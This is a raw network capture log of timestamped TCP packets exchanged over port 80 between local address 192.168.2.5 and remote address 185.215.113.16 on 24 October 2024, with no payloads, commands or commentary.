Oct 24, 2024 08:38:13.480703115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480715036 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480739117 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480767965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480813980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480895996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480912924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480927944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480941057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480947018 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480961084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480962992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480974913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480983019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.480988026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.480998993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481000900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481005907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481014013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481024981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481043100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481049061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481081009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481092930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481105089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481117964 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481126070 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481138945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481157064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481185913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481194973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481197119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481216908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481226921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481292009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481303930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481316090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481327057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481338024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481355906 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481399059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481411934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481424093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481436968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.481442928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481466055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.481498003 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.485543966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485604048 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.485630035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485641003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485654116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485666037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485686064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485698938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.485723972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.485749006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514472961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514493942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514504910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514559031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514564037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514575958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514590979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514590979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514597893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514609098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514617920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514620066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514631987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514647007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514652014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514662981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.514663935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514686108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.514703989 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.519207954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.519229889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.519241095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.519272089 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.519303083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.519450903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.519462109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.519507885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.542939901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.542958975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.542973995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.542984962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.542998075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.543051958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.543086052 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576463938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576488018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576498985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576515913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576539993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576603889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576617002 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576627970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576643944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576673985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576683998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576695919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576706886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576719999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576745987 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576775074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576786995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576797962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576812029 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576839924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576879025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576889038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576900005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576913118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.576920033 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576942921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.576972008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587675095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587694883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587706089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587721109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587730885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587744951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587750912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587757111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587780952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587786913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587796926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587798119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587821960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587822914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587832928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587841034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587868929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587912083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587939024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587953091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.587953091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587977886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.587986946 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.588005066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.588016987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.588040113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.588049889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.588216066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.588238001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.588248968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.588253975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.588290930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597038984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597059965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597070932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597084045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597104073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597435951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597448111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597460985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597476959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597481966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597501993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597501993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597513914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597523928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597526073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597544909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597552061 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597558022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597568035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597579002 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597582102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597599983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597624063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597688913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597728014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597769022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597779036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597805977 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597822905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597830057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597836018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597846985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597857952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597872019 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597891092 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597919941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597930908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597944021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597954988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597970963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597975016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.597985029 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.597986937 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598009109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598023891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598124027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598134995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598146915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598159075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598160028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598169088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598170996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598182917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598187923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598195076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598200083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598229885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598232985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598238945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598272085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598289013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598300934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598314047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598325968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598330975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598351955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598373890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598377943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598409891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598444939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598455906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598484039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598521948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598534107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598543882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598557949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598557949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598581076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598607063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598651886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598664045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598687887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598699093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598726988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598738909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598751068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598762035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598766088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598774910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598776102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598793030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598817110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598850012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598887920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598896027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598906994 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598932981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598942995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.598972082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598984003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.598995924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.599006891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.599016905 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.599036932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.631828070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.631839991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.631850958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.631863117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.631874084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.631881952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.631922960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.631994009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632004976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632038116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.632050037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.632076025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632119894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.632253885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632266998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632276058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.632288933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.632299900 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.632318020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.636815071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.636826038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.636837006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.636857986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.636869907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.660048962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660060883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660080910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660092115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660103083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660149097 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.660176039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.660274982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660285950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.660319090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694262028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694274902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694350958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694355011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694371939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694381952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694392920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694392920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694406033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694416046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694427967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694437027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694437981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694448948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694461107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694466114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694472075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694483995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694489956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694494009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694511890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694513083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694525957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694534063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694542885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694550037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694555998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694567919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.694578886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.694607973 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.704976082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.704988003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.704998970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705012083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705022097 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705080986 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705094099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705110073 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705126047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705137014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705149889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705179930 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:13.705302000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705313921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:13.705324888 CEST	80	60982	185.215.113.16	192.168.2.5
